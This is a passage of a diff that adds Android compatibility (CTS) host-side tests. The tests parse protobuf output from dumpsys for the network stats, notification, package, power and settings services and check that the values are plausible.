+        final long xtTxBytes2 = sum(dump.getXtStats(), st, b -> b.getTxBytes());
+
+        final long uidRxPackets2 = sum(dump.getUidStats(), st, uidFilt, b -> b.getRxPackets());
+        final long uidRxBytes2 = sum(dump.getUidStats(), st, uidFilt, b -> b.getRxBytes());
+        final long uidTxPackets2 = sum(dump.getUidStats(), st, uidFilt, b -> b.getTxPackets());
+        final long uidTxBytes2 = sum(dump.getUidStats(), st, uidFilt, b -> b.getTxBytes());
+
+        final long tagRxPackets2 = sum(dump.getUidTagStats(), st, tagFilt, b -> b.getRxPackets());
+        final long tagRxBytes2 = sum(dump.getUidTagStats(), st, tagFilt, b -> b.getRxBytes());
+        final long tagTxPackets2 = sum(dump.getUidTagStats(), st, tagFilt, b -> b.getTxPackets());
+        final long tagTxBytes2 = sum(dump.getUidTagStats(), st, tagFilt, b -> b.getTxBytes());
+
+        // At least 1 packet, 100 bytes sent.
+        assertGreaterOrEqual(uidTxPackets2, uidTxPackets + 1);
+        assertGreaterOrEqual(uidTxBytes2, uidTxBytes + 100);
+
+//        assertGreaterOrEqual(tagTxPackets2, tagTxPackets + 1);
+//        assertGreaterOrEqual(tagTxBytes2, tagTxBytes + 100);
+
+        // At least 2 packets, 100 bytes sent.
+        assertGreaterOrEqual(uidRxPackets2, uidRxPackets + 2);
+        assertGreaterOrEqual(uidRxBytes2, uidRxBytes + 100);
+
+//        assertGreaterOrEqual(tagRxPackets2, tagRxPackets + 2);
+//        assertGreaterOrEqual(tagRxBytes2, tagRxBytes + 100);
+
+        // Run again to make some more activity.
+        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE,
+                "com.android.server.cts.netstats.NetstatsDeviceTest",
+                "testDoNetworkWithTagging");
+
+        getDevice().executeShellCommand("dumpsys netstats --poll");
+        dump = getDump(NetworkStatsServiceDumpProto.parser(), "dumpsys netstats --proto");
+
+        CLog.d("Second dump:\n" + dump.toString());
+
+        final long devRxPackets3 = sum(dump.getDevStats(), st, b -> b.getRxPackets());
+        final long devRxBytes3 = sum(dump.getDevStats(), st, b -> b.getRxBytes());
+        final long devTxPackets3 = sum(dump.getDevStats(), st, b -> b.getTxPackets());
+        final long devTxBytes3 = sum(dump.getDevStats(), st, b -> b.getTxBytes());
+
+        final long xtRxPackets3 = sum(dump.getXtStats(), st, b -> b.getRxPackets());
+        final long xtRxBytes3 = sum(dump.getXtStats(), st, b -> b.getRxBytes());
+        final long xtTxPackets3 = sum(dump.getXtStats(), st, b -> b.getTxPackets());
+        final long xtTxBytes3 = sum(dump.getXtStats(), st, b -> b.getTxBytes());
+
+        final long uidRxPackets3 = sum(dump.getUidStats(), st, uidFilt, b -> b.getRxPackets());
+        final long uidRxBytes3 = sum(dump.getUidStats(), st, uidFilt, b -> b.getRxBytes());
+        final long uidTxPackets3 = sum(dump.getUidStats(), st, uidFilt, b -> b.getTxPackets());
+        final long uidTxBytes3 = sum(dump.getUidStats(), st, uidFilt, b -> b.getTxBytes());
+
+        final long tagRxPackets3 = sum(dump.getUidTagStats(), st, tagFilt, b -> b.getRxPackets());
+        final long tagRxBytes3 = sum(dump.getUidTagStats(), st, tagFilt, b -> b.getRxBytes());
+        final long tagTxPackets3 = sum(dump.getUidTagStats(), st, tagFilt, b -> b.getTxPackets());
+        final long tagTxBytes3 = sum(dump.getUidTagStats(), st, tagFilt, b -> b.getTxBytes());
+
+        // At least 1 packet, 100 bytes sent.
+        assertGreaterOrEqual(uidTxPackets3, uidTxPackets2 + 1);
+        assertGreaterOrEqual(uidTxBytes3, uidTxBytes2 + 100);
+
+        assertGreaterOrEqual(tagTxPackets3, tagTxPackets2 + 1);
+        assertGreaterOrEqual(tagTxBytes3, tagTxBytes2 + 100);
+
+        // At least 2 packets, 100 bytes sent.
+        assertGreaterOrEqual(uidRxPackets3, uidRxPackets2 + 2);
+        assertGreaterOrEqual(uidRxBytes3, uidRxBytes2 + 100);
+
+        assertGreaterOrEqual(tagRxPackets3, tagRxPackets2 + 2);
+        assertGreaterOrEqual(tagRxBytes3, tagRxBytes2 + 100);
+    }
+
+    private long sum(NetworkStatsRecorderProto recorder,
+            long startTime,
+            Function<NetworkStatsHistoryBucketProto, Long> func) {
+        return sum(recorder, startTime, key -> true, func);
+    }
+
+    private long sum(NetworkStatsRecorderProto recorder,
+            long startTime,
+            Predicate<NetworkStatsCollectionKeyProto> filter,
+            Function<NetworkStatsHistoryBucketProto, Long> func) {
+
+        long total = 0;
+        for (NetworkStatsCollectionStatsProto stats
+                : recorder.getCompleteHistory().getStatsList()) {
+            if (!filter.test(stats.getKey())) {
+                continue;
+            }
+            for (NetworkStatsHistoryBucketProto bucket : stats.getHistory().getBucketsList()) {
+                if (startTime < bucket.getBucketStartMs()) {
+                    continue;
+                }
+                total += func.apply(bucket);
+            }
+        }
+        return total;
+    }
+
+    private void checkInterfaces(List<NetworkInterfaceProto> interfaces) {
+        /* Example:
+    active_interfaces=[
+      NetworkInterfaceProto {
+        interface=wlan0
+        identities=NetworkIdentitySetProto {
+          identities=[
+            NetworkIdentityProto {
+              type=1
+              subscriber_id=
+              network_id="wifiap"
+              roaming=false
+              metered=false
+            }
+          ]
+        }
+      }
+    ]
+         */
+        assertTrue("There must be at least one network device",
+                interfaces.size() > 0);
+
+        boolean allRoaming = true;
+        boolean allMetered = true;
+
+        for (NetworkInterfaceProto iface : interfaces) {
+            assertTrue("Missing interface name", !iface.getInterface().isEmpty());
+
+            assertPositive("# identities", iface.getIdentities().getIdentitiesList().size());
+
+            for (NetworkIdentityProto iden : iface.getIdentities().getIdentitiesList()) {
+                allRoaming &= iden.getRoaming();
+                allMetered &= iden.getMetered();
+
+                // TODO Can we check the other fields too?  type, subscriber_id, and network_id.
+            }
+        }
+        assertFalse("There must be at least one non-roaming interface during CTS", allRoaming);
+        assertFalse("There must be at least one non-metered interface during CTS", allMetered);
+    }
+
+    private void checkStats(NetworkStatsRecorderProto recorder, boolean withUid, boolean withTag) {
+        /*
+         * Example:
+    dev_stats=NetworkStatsRecorderProto {
+      pending_total_bytes=136
+      complete_history=NetworkStatsCollectionProto {
+        stats=[
+          NetworkStatsCollectionStatsProto {
+            key=NetworkStatsCollectionKeyProto {
+              identity=NetworkIdentitySetProto {
+                identities=[
+                  NetworkIdentityProto {
+                    type=1
+                    subscriber_id=
+                    network_id="wifiap"
+                    roaming=false
+                    metered=false
+                  }
+                ]
+              }
+              uid=-1
+              set=-1
+              tag=0
+            }
+            history=NetworkStatsHistoryProto {
+              bucket_duration_ms=3600000
+              buckets=[
+                NetworkStatsHistoryBucketProto {
+                  bucket_start_ms=2273694336
+                  rx_bytes=2142
+                  rx_packets=10
+                  tx_bytes=1568
+                  tx_packets=12
+                  operations=0
+                }
+                NetworkStatsHistoryBucketProto {
+                  bucket_start_ms=3196682880
+                  rx_bytes=2092039
+                  rx_packets=1987
+                  tx_bytes=236735
+                  tx_packets=1750
+                  operations=0
+                }
+         */
+
+        assertNotNegative("Pending bytes", recorder.getPendingTotalBytes());
+
+        for (NetworkStatsCollectionStatsProto stats : recorder.getCompleteHistory().getStatsList()) {
+
+            final NetworkStatsCollectionKeyProto key = stats.getKey();
+
+            // TODO Check the key.
+
+            final NetworkStatsHistoryProto hist = stats.getHistory();
+
+            assertPositive("duration", hist.getBucketDurationMs());
+
+            // Subtract one hour from duration to compensate for possible DTS.
+            final long minInterval = hist.getBucketDurationMs() - (60 * 60 * 1000);
+
+            NetworkStatsHistoryBucketProto prev = null;
+            for (NetworkStatsHistoryBucketProto bucket : hist.getBucketsList()) {
+
+                // Make sure the start time is increasing by at least the "duration",
+                // except we subtract duration from one our to compensate possible DTS.
+
+                if (prev != null) {
+                    assertTrue(
+                            String.format("Last start=%d, current start=%d, diff=%d, duration=%d",
+                                    prev.getBucketStartMs(), bucket.getBucketStartMs(),
+                                    (bucket.getBucketStartMs() - prev.getBucketStartMs()),
+                                    minInterval),
+                            (bucket.getBucketStartMs() - prev.getBucketStartMs()) >=
+                                    minInterval);
+                }
+                assertNotNegative("RX bytes", bucket.getRxBytes());
+                assertNotNegative("RX packets", bucket.getRxPackets());
+                assertNotNegative("TX bytes", bucket.getTxBytes());
+                assertNotNegative("TX packets", bucket.getTxPackets());
+
+// 10 was still too big?                // It should be safe to say # of bytes >= 10 * 10 of packets, due to headers, etc...
+                final long FACTOR = 4;
+                assertTrue(
+                        String.format("# of bytes %d too small for # of packets %d",
+                                bucket.getRxBytes(), bucket.getRxPackets()),
+                        bucket.getRxBytes() >= bucket.getRxPackets() * FACTOR);
+                assertTrue(
+                        String.format("# of bytes %d too small for # of packets %d",
+                                bucket.getTxBytes(), bucket.getTxPackets()),
+                        bucket.getTxBytes() >= bucket.getTxPackets() * FACTOR);
+            }
+        }
+
+        // TODO Make sure test app's UID actually shows up.
+    }
+}
diff --git a/hostsidetests/incident/src/com/android/server/cts/NotificationTest.java b/hostsidetests/incident/src/com/android/server/cts/NotificationTest.java
new file mode 100644
index 0000000..10a1b77
--- /dev/null
+++ b/hostsidetests/incident/src/com/android/server/cts/NotificationTest.java
@@ -0,0 +1,75 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.server.cts;
+
+import android.service.notification.NotificationRecordProto;
+import android.service.notification.NotificationServiceDumpProto;
+import android.service.notification.State;
+import android.service.notification.ZenMode;
+import android.service.notification.ZenModeProto;
+
+/**
+ * Test to check that the notification service properly outputs its dump state.
+ *
+ * make -j32 CtsIncidentHostTestCases
+ * cts-tradefed run singleCommand cts-dev -d --module CtsIncidentHostTestCases
+ */
+public class NotificationTest extends ProtoDumpTestCase {
+    /**
+     * Tests that at least one notification is posted, and verify its properties are plausible.
+     */
+    public void testNotificationRecords() throws Exception {
+        final NotificationServiceDumpProto dump = getDump(NotificationServiceDumpProto.parser(),
+                "dumpsys notification --proto");
+
+        assertTrue(dump.getRecordsCount() > 0);
+        boolean found = false;
+        for (NotificationRecordProto record : dump.getRecordsList()) {
+            if (record.getKey().contains("android")) {
+                found = true;
+                assertEquals(State.POSTED, record.getState());
+                assertTrue(record.getImportance() > 0 /* NotificationManager.IMPORTANCE_NONE */);
+
+                // Ensure these fields exist, at least
+                record.getFlags();
+                record.getChannelId();
+                record.getSound();
+                record.getSoundUsage();
+                record.getCanVibrate();
+                record.getCanShowLight();
+                record.getGroupKey();
+            }
+            assertTrue(State.SNOOZED != record.getState());
+        }
+
+        assertTrue(found);
+    }
+
+    // Tests default state: zen mode off, no suppressors
+    public void testZenMode() throws Exception {
+        final NotificationServiceDumpProto dump = getDump(NotificationServiceDumpProto.parser(),
+                "dumpsys notification --proto");
+        ZenModeProto zenProto = dump.getZen();
+
+        assertEquals(ZenMode.ZEN_MODE_OFF, zenProto.getZenMode());
+        assertEquals(0, zenProto.getEnabledActiveConditionsCount());
+        assertEquals(0, zenProto.getSuppressedEffects());
+        assertEquals(0, zenProto.getSuppressorsCount());
+        zenProto.getPolicy();
+    }
+}
+
diff --git a/hostsidetests/incident/src/com/android/server/cts/PackageIncidentTest.java b/hostsidetests/incident/src/com/android/server/cts/PackageIncidentTest.java
new file mode 100644
index 0000000..9e93a54
--- /dev/null
+++ b/hostsidetests/incident/src/com/android/server/cts/PackageIncidentTest.java
@@ -0,0 +1,114 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.server.cts;
+
+import android.service.pm.PackageProto;
+import android.service.pm.PackageServiceDumpProto;
+
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+/** Test for "dumpsys package --proto" */
+public class PackageIncidentTest extends ProtoDumpTestCase {
+    // Use the test apk from the NetstatsIncidentTest
+    private static final String DEVICE_SIDE_TEST_APK = "CtsNetStatsApp.apk";
+    private static final String DEVICE_SIDE_TEST_PACKAGE = "com.android.server.cts.netstats";
+
+    @Override
+    protected void tearDown() throws Exception {
+        getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
+
+        super.tearDown();
+    }
+
+    private void assertPositive(String name, long value) {
+        if (value > 0) return;
+        fail(name + " expected to be positive, but was: " + value);
+    }
+
+    private void assertNotNegative(String name, long value) {
+        if (value >= 0) return;
+        fail(name + " expected to be zero or positive, but was: " + value);
+    }
+
+    /** Parse the output of "dumpsys package --proto" and make sure the values are probable. */
+    public void testPackageServiceDump() throws Exception {
+        final long st = System.currentTimeMillis();
+
+        installPackage(DEVICE_SIDE_TEST_APK, /* grantPermissions= */ true);
+
+        // Find the package UID, version code, and version string.
+        final Matcher matcher =
+                execCommandAndFind(
+                        "dumpsys package " + DEVICE_SIDE_TEST_PACKAGE,
+                        "userId=(\\d+).*versionCode=(\\d+).*versionName=([^\\n]*)",
+                        Pattern.DOTALL);
+        final int uid = Integer.parseInt(matcher.group(1));
+        final int versionCode = Integer.parseInt(matcher.group(2));
+        final String versionString = matcher.group(3).trim();
+
+        final PackageServiceDumpProto dump =
+                getDump(PackageServiceDumpProto.parser(), "dumpsys package --proto");
+
+        assertNotNull(dump.getRequiredVerifierPackage().getName());
+        assertPositive("required_verifier_package uid", dump.getRequiredVerifierPackage().getUid());
+        assertNotNull(dump.getVerifierPackage().getName());
+        assertPositive("verifier_package uid", dump.getVerifierPackage().getUid());
+        assertNotNull(dump.getSharedLibraries(0).getName());
+        if (dump.getSharedLibraries(0).getIsJar()) {
+            assertNotNull(dump.getSharedLibraries(0).getPath());
+        } else {
+            assertNotNull(dump.getSharedLibraries(0).getApk());
+        }
+        assertNotNull(dump.getFeatures(0).getName());
+        PackageProto testPackage = null;
+        for (PackageProto pkg : dump.getPackagesList()) {
+            if (pkg.getName().equals(DEVICE_SIDE_TEST_PACKAGE)) {
+                testPackage = pkg;
+                break;
+            }
+        }
+        assertNotNull(testPackage);
+        assertEquals(testPackage.getName(), DEVICE_SIDE_TEST_PACKAGE);
+        assertEquals(testPackage.getUid(), uid);
+        assertEquals(testPackage.getVersionCode(), versionCode);
+        assertEquals(testPackage.getVersionString(), versionString);
+        assertPositive("install_time_ms", testPackage.getInstallTimeMs());
+        assertEquals(testPackage.getInstallTimeMs(), testPackage.getUpdateTimeMs());
+        assertEquals(testPackage.getSplits(0).getName(), "base");
+        assertEquals(testPackage.getSplits(0).getRevisionCode(), 0);
+        assertEquals(testPackage.getUsers(0).getId(), 0);
+        assertEquals(
+                testPackage.getUsers(0).getInstallType(),
+                PackageProto.UserInfoProto.InstallType.FULL_APP_INSTALL);
+        assertFalse(testPackage.getUsers(0).getIsHidden());
+        assertFalse(testPackage.getUsers(0).getIsLaunched());
+        assertFalse(
+                testPackage.getUsers(0).getEnabledState()
+                        == PackageProto.UserInfoProto.EnabledState
+                                .COMPONENT_ENABLED_STATE_DISABLED_USER);
+
+        PackageServiceDumpProto.SharedUserProto systemUser = null;
+        for (PackageServiceDumpProto.SharedUserProto user : dump.getSharedUsersList()) {
+            if (user.getUserId() == 1000) {
+                systemUser = user;
+                break;
+            }
+        }
+        assertNotNull(systemUser);
+        assertEquals(systemUser.getName(), "android.uid.system");
+    }
+}
diff --git a/hostsidetests/incident/src/com/android/server/cts/PowerIncidentTest.java b/hostsidetests/incident/src/com/android/server/cts/PowerIncidentTest.java
new file mode 100644
index 0000000..77c0163
--- /dev/null
+++ b/hostsidetests/incident/src/com/android/server/cts/PowerIncidentTest.java
@@ -0,0 +1,74 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.server.cts;
+
+import android.os.LooperProto;
+import android.service.power.PowerServiceDumpProto;
+import android.service.power.PowerServiceSettingsAndConfigurationDumpProto;
+
+/** Test to check that the power manager properly outputs its dump state. */
+public class PowerIncidentTest extends ProtoDumpTestCase {
+    private static final int SYSTEM_UID = 1000;
+
+    public void testPowerServiceDump() throws Exception {
+        final PowerServiceDumpProto dump =
+                getDump(PowerServiceDumpProto.parser(), "dumpsys power --proto");
+
+        assertTrue(
+                PowerServiceDumpProto.Wakefulness.getDescriptor()
+                        .getValues()
+                        .contains(dump.getWakefulness().getValueDescriptor()));
+        assertTrue(
+                PowerServiceDumpProto.PlugType.getDescriptor()
+                        .getValues()
+                        .contains(dump.getPlugType().getValueDescriptor()));
+        assertTrue(
+                PowerServiceDumpProto.DockState.getDescriptor()
+                        .getValues()
+                        .contains(dump.getDockState().getValueDescriptor()));
+
+        final PowerServiceSettingsAndConfigurationDumpProto settingsAndConfiguration =
+                dump.getSettingsAndConfiguration();
+        assertTrue(settingsAndConfiguration.getMinimumScreenOffTimeoutConfigMs() > 0);
+        assertTrue(settingsAndConfiguration.getMaximumScreenDimDurationConfigMs() >= 0);
+        assertTrue(settingsAndConfiguration.getMaximumScreenDimRatioConfig() > 0);
+        assertTrue(settingsAndConfiguration.getScreenOffTimeoutSettingMs() > 0);
+        assertTrue(settingsAndConfiguration.getMaximumScreenOffTimeoutFromDeviceAdminMs() > 0);
+        final PowerServiceSettingsAndConfigurationDumpProto.ScreenBrightnessSettingLimitsProto
+                brightnessLimits = settingsAndConfiguration.getScreenBrightnessSettingLimits();
+        assertTrue(brightnessLimits.getSettingMaximum() > 0);
+        assertTrue(brightnessLimits.getSettingDefault() > 0);
+        assertTrue(brightnessLimits.getSettingForVrDefault() > 0);
+
+        final PowerServiceDumpProto.UidProto uid = dump.getUids(0);
+        assertEquals(uid.getUid(), SYSTEM_UID);
+        assertEquals(uid.getUidString(), Integer.toString(SYSTEM_UID));
+        assertTrue(uid.getIsActive());
+        assertFalse(uid.getIsProcessStateUnknown());
+        assertTrue(
+                PowerServiceDumpProto.UidProto.ProcessState.getDescriptor()
+                        .getValues()
+                        .contains(uid.getProcessState().getValueDescriptor()));
+
+        final LooperProto looper = dump.getLooper();
+        assertNotNull(looper.getThreadName());
+        assertTrue(looper.getThreadId() > 0);
+        assertTrue(looper.getIdentityHashCode() > 0);
+
+        assertTrue(dump.getSuspendBlockersCount() > 0);
+    }
+}
diff --git a/hostsidetests/incident/src/com/android/server/cts/ProtoDumpTestCase.java b/hostsidetests/incident/src/com/android/server/cts/ProtoDumpTestCase.java
new file mode 100644
index 0000000..f961f6e
--- /dev/null
+++ b/hostsidetests/incident/src/com/android/server/cts/ProtoDumpTestCase.java
@@ -0,0 +1,179 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.server.cts;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
+import com.android.ddmlib.testrunner.TestIdentifier;
+import com.android.ddmlib.testrunner.TestResult;
+import com.android.ddmlib.testrunner.TestResult.TestStatus;
+import com.android.ddmlib.testrunner.TestRunResult;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.CollectingByteOutputReceiver;
+import com.android.tradefed.device.CollectingOutputReceiver;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.result.CollectingTestListener;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import com.google.protobuf.InvalidProtocolBufferException;
+import com.google.protobuf.Message;
+import com.google.protobuf.Parser;
+
+import java.io.FileNotFoundException;
+import java.util.Map;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+import javax.annotation.Nonnull;
+import javax.annotation.Nullable;
+
+public class ProtoDumpTestCase extends DeviceTestCase implements IBuildReceiver {
+
+    protected IBuildInfo mCtsBuild;
+
+    private static final String TEST_RUNNER = "android.support.test.runner.AndroidJUnitRunner";
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+
+        assertNotNull(mCtsBuild);
+    }
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mCtsBuild = buildInfo;
+    }
+
+    /**
+     * Call onto the device with an adb shell command and get the results of
+     * that as a proto of the given type.
+     *
+     * @param parser A protobuf parser object. e.g. MyProto.parser()
+     * @param command The adb shell command to run. e.g. "dumpsys fingerprint --proto"
+     *
+     * @throws DeviceNotAvailableException If there was a problem communicating with
+     *      the test device.
+     * @throws InvalidProtocolBufferException If there was an error parsing
+     *      the proto. Note that a 0 length buffer is not necessarily an error.
+     */
+    public <T extends Message> T getDump(Parser<T> parser, String command)
+            throws DeviceNotAvailableException, InvalidProtocolBufferException {
+        final CollectingByteOutputReceiver receiver = new CollectingByteOutputReceiver();
+        getDevice().executeShellCommand(command, receiver);
+        return parser.parseFrom(receiver.getOutput());
+    }
+
+    /**
+     * Install a device side test package.
+     *
+     * @param appFileName Apk file name, such as "CtsNetStatsApp.apk".
+     * @param grantPermissions whether to give runtime permissions.
+     */
+    protected void installPackage(String appFileName, boolean grantPermissions)
+            throws FileNotFoundException, DeviceNotAvailableException {
+        CLog.d("Installing app " + appFileName);
+        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
+        final String result = getDevice().installPackage(
+                buildHelper.getTestFile(appFileName), true, grantPermissions);
+        assertNull("Failed to install " + appFileName + ": " + result, result);
+    }
+
+    /**
+     * Run a device side test.
+     *
+     * @param pkgName Test package name, such as "com.android.server.cts.netstats".
+     * @param testClassName Test class name; either a fully qualified name, or "." + a class name.
+     * @param testMethodName Test method name.
+     * @throws DeviceNotAvailableException
+     */
+    protected void runDeviceTests(@Nonnull String pkgName,
+            @Nullable String testClassName, @Nullable String testMethodName)
+            throws DeviceNotAvailableException {
+        if (testClassName != null && testClassName.startsWith(".")) {
+            testClassName = pkgName + testClassName;
+        }
+
+        RemoteAndroidTestRunner testRunner = new RemoteAndroidTestRunner(
+                pkgName, TEST_RUNNER, getDevice().getIDevice());
+        if (testClassName != null && testMethodName != null) {
+            testRunner.setMethodName(testClassName, testMethodName);
+        } else if (testClassName != null) {
+            testRunner.setClassName(testClassName);
+        }
+
+        CollectingTestListener listener = new CollectingTestListener();
+        assertTrue(getDevice().runInstrumentationTests(testRunner, listener));
+
+        final TestRunResult result = listener.getCurrentRunResults();
+        if (result.isRunFailure()) {
+            throw new AssertionError("Failed to successfully run device tests for "
+                    + result.getName() + ": " + result.getRunFailureMessage());
+        }
+        if (result.getNumTests() == 0) {
+            throw new AssertionError("No tests were run on the device");
+        }
+
+        if (result.hasFailedTests()) {
+            // build a meaningful error message
+            StringBuilder errorBuilder = new StringBuilder("On-device tests failed:\n");
+            for (Map.Entry<TestIdentifier, TestResult> resultEntry :
+                    result.getTestResults().entrySet()) {
+                if (!resultEntry.getValue().getStatus().equals(TestStatus.PASSED)) {
+                    errorBuilder.append(resultEntry.getKey().toString());
+                    errorBuilder.append(":\n");
+                    errorBuilder.append(resultEntry.getValue().getStackTrace());
+                }
+            }
+            throw new AssertionError(errorBuilder.toString());
+        }
+    }
+
+    /**
+     * Execute the given command, and find the given pattern with given flags and return the
+     * resulting {@link Matcher}.
+     */
+    protected Matcher execCommandAndFind(String command, String pattern, int patternFlags)
+            throws Exception {
+        final CollectingOutputReceiver receiver = new CollectingOutputReceiver();
+        getDevice().executeShellCommand(command, receiver);
+        final String output = receiver.getOutput();
+        final Matcher matcher = Pattern.compile(pattern, patternFlags).matcher(output);
+        assertTrue("Pattern '" + pattern + "' didn't match. Output=\n" + output, matcher.find());
+        return matcher;
+    }
+
+    /**
+     * Execute the given command, and find the given pattern and return the resulting
+     * {@link Matcher}.
+     */
+    protected Matcher execCommandAndFind(String command, String pattern) throws Exception {
+        return execCommandAndFind(command, pattern, 0);
+    }
+
+    /**
+     * Execute the given command, find the given pattern, and return the first captured group
+     * as a String.
+     */
+    protected String execCommandAndGetFirstGroup(String command, String pattern) throws Exception {
+        final Matcher matcher = execCommandAndFind(command, pattern);
+        assertTrue("No group found for pattern '" + pattern + "'", matcher.groupCount() > 0);
+        return matcher.group(1);
+    }
+}
diff --git a/hostsidetests/incident/src/com/android/server/cts/SettingsIncidentTest.java b/hostsidetests/incident/src/com/android/server/cts/SettingsIncidentTest.java
new file mode 100644
index 0000000..7ea00e1
--- /dev/null
+++ b/hostsidetests/incident/src/com/android/server/cts/SettingsIncidentTest.java
@@ -0,0 +1,125 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.server.cts;
+
+import android.providers.settings.SettingProto;
+import android.providers.settings.SettingsOperationProto;
+import android.providers.settings.SettingsServiceDumpProto;
+import android.providers.settings.UserSettingsProto;
+
+import com.google.protobuf.GeneratedMessage;
+
+import java.lang.reflect.Method;
+import java.lang.reflect.Modifier;
+import java.util.Arrays;
+import java.util.List;
+import java.util.stream.Collectors;
+
+/**
+ * Test to check that the settings service properly outputs its dump state.
+ */
+public class SettingsIncidentTest extends ProtoDumpTestCase {
+
+    /**
+     * Test that there are some secure/system settings for the user and there are some global
+     * settings.
+     *
+     * @throws Exception
+     */
+    public void testBasicStructure() throws Exception {
+        SettingsServiceDumpProto dump = getDump(SettingsServiceDumpProto.parser(),
+                "dumpsys settings --proto");
+
+        assertTrue(dump.getUserSettingsCount() > 0);
+
+        UserSettingsProto userSettings = dump.getUserSettings(0);
+        assertEquals(0, userSettings.getUserId());
+
+        verifySettings(userSettings.getSecureSettings());
+        verifySettings(userSettings.getSystemSettings());
+
+        verifySettings(dump.getGlobalSettings());
+    }
+
+    private void verifySettings(GeneratedMessage settings) throws Exception {
+        verifySettings(getSettingProtos(settings));
+
+        final List<SettingsOperationProto> ops = invoke(settings, "getHistoricalOpList");
+        for (SettingsOperationProto op : ops) {
+            assertTrue(op.getTimestamp() >= 0);
+            assertNotNull(op.getOperation());
+            // setting is optional
+        }
+    }
+
+    private static List<SettingProto> getSettingProtos(GeneratedMessage settingsProto) {
+        return Arrays.stream(settingsProto.getClass().getDeclaredMethods())
+                .filter((method) ->
+                        method.getName().startsWith("get")
+                                && !method.getName().endsWith("OrBuilder")
+                                && method.getParameterCount() == 0
+                                && !Modifier.isStatic(method.getModifiers())
+                                && method.getReturnType() == SettingProto.class)
+                .map((method) -> (SettingProto) invoke(method, settingsProto))
+                .collect(Collectors.toList());
+    }
+
+    private static <T> T invoke(Method method, Object instance, Object... args) {
+        method.setAccessible(true);
+        try {
+            return (T) method.invoke(instance, args);
+        } catch (Exception e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    private static <T> T invoke(GeneratedMessage instance, String methodName, Object... args)
+            throws Exception {
+        final Class<?>[] inputParamTypes = Arrays.stream(args)
+                .map((arg) -> toPrimitive(arg.getClass()))
+                .toArray(Class[]::new);
+        return invoke(
+                instance.getClass().getDeclaredMethod(methodName, inputParamTypes),
+                instance, args);
+    }
+
+    private static Class<?> toPrimitive(Class<?> c) {
+        return c == Integer.class ? int.class : c;
+    }
+
+    private void verifySettings(List<SettingProto> settings) throws Exception {
+        assertFalse(settings.isEmpty());
+
+        for (SettingProto setting : settings) {
+            try {
+                final String id = setting.getId();
+                if (!id.isEmpty()) {
+                    // _ID has to be a long converted to a String
+                    Long.parseLong(id);
+                }
+                assertNotNull(setting.getName());
+                // pkg is optional
+                // value can be anything
+                // default can be anything
+                // default from system reported only if optional default present
+            } catch (Throwable e) {
+                throw new AssertionError("Failed for setting " + setting, e);
+            }
+        }
+    }
+}
+
diff --git a/hostsidetests/inputmethodservice/Android.mk b/hostsidetests/inputmethodservice/Android.mk
new file mode 100644
index 0000000..b798d87
--- /dev/null
+++ b/hostsidetests/inputmethodservice/Android.mk
@@ -0,0 +1,15 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
